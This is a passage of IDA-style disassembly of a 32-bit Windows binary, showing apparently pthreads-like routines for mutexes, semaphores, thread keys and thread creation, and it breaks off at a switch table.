; Attributes: noreturn


sub_42F480	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_401190
sub_42F480	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F4BE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F4AC
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F4AC
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F4AC:				; CODE XREF: ___:0042F49Bj
					; ___:0042F4A1j
		mov	edx, [esi+8]
		mov	eax, dword_50E3EC
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F4BE:				; CODE XREF: ___:0042F493j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F4F0	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E3EC
		push	edx
		call	sub_401190
sub_42F4F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F540	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F574
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F574:				; CODE XREF: sub_42F540+17j
		test	eax, eax
		jnz	short loc_42F57D
		mov	esi, 16h


loc_42F57D:				; CODE XREF: sub_42F540+36j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_42F540	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5B0:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F5D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F5D3:				; CODE XREF: ___:0042F5C2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5F0:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F613
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F613
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F613:				; CODE XREF: ___:0042F5F7j
					; ___:0042F5FDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F630:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F64D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F64D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F64D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F64D:				; CODE XREF: ___:0042F636j
					; ___:0042F63Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F670:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F69A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F69A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F68E
		test	eax, eax
		jnz	short loc_42F69A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F68E:				; CODE XREF: ___:0042F685j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F69A:				; CODE XREF: ___:0042F676j
					; ___:0042F67Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6B0	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F6C6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6C6:				; CODE XREF: sub_42F6B0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F6ED
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F6ED
		cmp	dword ptr [eax], 1
		jnz	short loc_42F6ED
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6ED:				; CODE XREF: sub_42F6B0+1Ej
					; sub_42F6B0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F712
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F712:				; CODE XREF: sub_42F6B0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F737
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F77B
; ---------------------------------------------------------------------------


loc_42F737:				; CODE XREF: sub_42F6B0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F755
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_42F772
; ---------------------------------------------------------------------------


loc_42F755:				; CODE XREF: sub_42F6B0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F7DF
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F772:				; CODE XREF: sub_42F6B0+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F77B:				; CODE XREF: sub_42F6B0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F7D2


loc_42F78B:				; CODE XREF: sub_42F6B0+131j
		push	offset dword_50E9C0
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3F4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3F4
		test	eax, eax
		jz	short loc_42F7B2
		mov	[eax+18h], esi


loc_42F7B2:				; CODE XREF: sub_42F6B0+FDj
		mov	eax, dword_50E3F0
		mov	dword_50E3F4, esi
		test	eax, eax
		jnz	short loc_42F7C7
		mov	dword_50E3F0, esi


loc_42F7C7:				; CODE XREF: sub_42F6B0+10Fj
		push	offset dword_50E9C0
		call	near ptr 7C9010EDh
		nop


loc_42F7D2:				; CODE XREF: sub_42F6B0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7DF:				; CODE XREF: sub_42F6B0+B7j
		xor	edi, edi
		jmp	short loc_42F78B
sub_42F6B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F840	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42F9EC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42F9EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_42F9A3
		push	offset dword_50E9C0
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F899
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F899:				; CODE XREF: sub_42F840+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F8C0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F8C0:				; CODE XREF: sub_42F840+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F8F9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F8E2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F8E2:				; CODE XREF: sub_42F840+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42F98E
; ---------------------------------------------------------------------------


loc_42F8F9:				; CODE XREF: sub_42F840+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F91A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F91A:				; CODE XREF: sub_42F840+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F932
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F932:				; CODE XREF: sub_42F840+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F94C
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F94C:				; CODE XREF: sub_42F840+FFj
		cmp	dword_50E3F0, esi
		jnz	short loc_42F95F
		mov	edx, [esi+18h]
		mov	dword_50E3F0, edx
		jmp	short loc_42F968
; ---------------------------------------------------------------------------


loc_42F95F:				; CODE XREF: sub_42F840+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42F968:				; CODE XREF: sub_42F840+11Dj
		cmp	dword_50E3F4, esi
		jnz	short loc_42F97B
		mov	edx, [esi+1Ch]
		mov	dword_50E3F4, edx
		jmp	short loc_42F984
; ---------------------------------------------------------------------------


loc_42F97B:				; CODE XREF: sub_42F840+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42F984:				; CODE XREF: sub_42F840+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42F98E:				; CODE XREF: sub_42F840+B4j
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42F9D2
; ---------------------------------------------------------------------------


loc_42F9A3:				; CODE XREF: sub_42F840+28j
		push	offset dword_50E940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42F9BB
		mov	dword ptr [edi], 0
		jmp	short loc_42F9C7
; ---------------------------------------------------------------------------


loc_42F9BB:				; CODE XREF: sub_42F840+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42F9C7:				; CODE XREF: sub_42F840+179j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh


loc_42F9D2:				; CODE XREF: sub_42F840+161j
		test	esi, esi
		jz	short loc_42F9DE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9DE:				; CODE XREF: sub_42F840+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42F9F1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9EC:				; CODE XREF: sub_42F840+15j
					; sub_42F840+1Fj
		mov	eax, 16h


loc_42F9F1:				; CODE XREF: sub_42F840+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F840	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FA70	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FA70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FAA0	proc near		; CODE XREF: sub_42FA70+Cp
					; sub_42FD70+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FBA9
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FBA9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FAE2
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FAE2
		cmp	eax, 10h
		jnz	loc_42FBAE


loc_42FAE2:				; CODE XREF: sub_42FAA0+26j
					; sub_42FAA0+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB02
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB02:				; CODE XREF: sub_42FAA0+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB22
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB22:				; CODE XREF: sub_42FAA0+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FC10
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FBA9:				; CODE XREF: sub_42FAA0+13j
					; sub_42FAA0+1Dj
		mov	eax, 16h


loc_42FBAE:				; CODE XREF: sub_42FAA0+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FAA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FC10:				; DATA XREF: sub_42FAA0+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC3B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC3B:				; CODE XREF: ___:0042FC31j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FC4E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FCB7
; ---------------------------------------------------------------------------


loc_42FC4E:				; CODE XREF: ___:0042FC44j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FCB7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC82
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC82:				; CODE XREF: ___:0042FC6Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCAC
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCAC:				; CODE XREF: ___:0042FC96j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FCB7:				; CODE XREF: ___:0042FC4Cj
					; ___:0042FC5Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCD0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCD0:				; CODE XREF: ___:0042FCC2j
		cmp	ebx, 1
		jnz	short loc_42FCF9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCF9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCF9:				; CODE XREF: ___:0042FCD3j
					; ___:0042FCE3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD0F
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FD0F:				; CODE XREF: ___:0042FD07j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD70	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FD7E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FD7E:				; CODE XREF: sub_42FD70+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FD70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDB0	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FDB0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDD0	proc near		; CODE XREF: sub_42FDB0+7p
					; sub_42FF30+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FED4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FED4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FDF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FDF4:				; CODE XREF: sub_42FDD0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FED9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FE44
		test	eax, eax
		jnz	short loc_42FE22


loc_42FE15:				; CODE XREF: sub_42FDD0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE22:				; CODE XREF: sub_42FDD0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FE39
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE39:				; CODE XREF: sub_42FDD0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FEA3
; ---------------------------------------------------------------------------


loc_42FE44:				; CODE XREF: sub_42FDD0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FE15
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE70
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE70:				; CODE XREF: sub_42FDD0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FE84
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FE84:				; CODE XREF: sub_42FDD0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FE99
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE99:				; CODE XREF: sub_42FDD0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FEA3:				; CODE XREF: sub_42FDD0+72j
		dec	eax
		mov	[esi], eax


loc_42FEA6:				; CODE XREF: sub_42FDD0+67j
					; sub_42FDD0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FECE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FECE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_42FECE:				; CODE XREF: sub_42FDD0+E3j
					; sub_42FDD0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FED4:				; CODE XREF: sub_42FDD0+9j
					; sub_42FDD0+13j
		mov	eax, 16h


loc_42FED9:				; CODE XREF: sub_42FDD0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FDD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF30	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF50	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
		mov	esi, eax
		test	esi, esi
		jz	loc_430026
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_430026
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_42FFCE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_42FFCE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_42FFD0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_42FFD0
; ---------------------------------------------------------------------------


loc_42FFCE:				; CODE XREF: sub_42FF50+4Dj
					; sub_42FF50+54j
		xor	edi, edi


loc_42FFD0:				; CODE XREF: sub_42FF50+6Ej
					; sub_42FF50+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	near ptr 77C3A3DBh
		nop
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_430019
		test	ebp, ebp
		jz	short loc_430012
		cmp	dword ptr [ebp+0], 0
		jz	short loc_430012
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_430012:				; CODE XREF: sub_42FF50+AAj
					; sub_42FF50+B0j
		push	edi
		nop
		call	near ptr 2760000h


loc_430019:				; CODE XREF: sub_42FF50+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_430059


loc_430026:				; CODE XREF: sub_42FF50+14j
					; sub_42FF50+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43004C
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43004C:				; CODE XREF: sub_42FF50+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430059:				; CODE XREF: sub_42FF50+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42FF50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4300C0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4300F7 ; default
		jmp	off_4300FC[ecx*4] ; switch jump


loc_4300D5:				; DATA XREF: ___:off_4300FCo
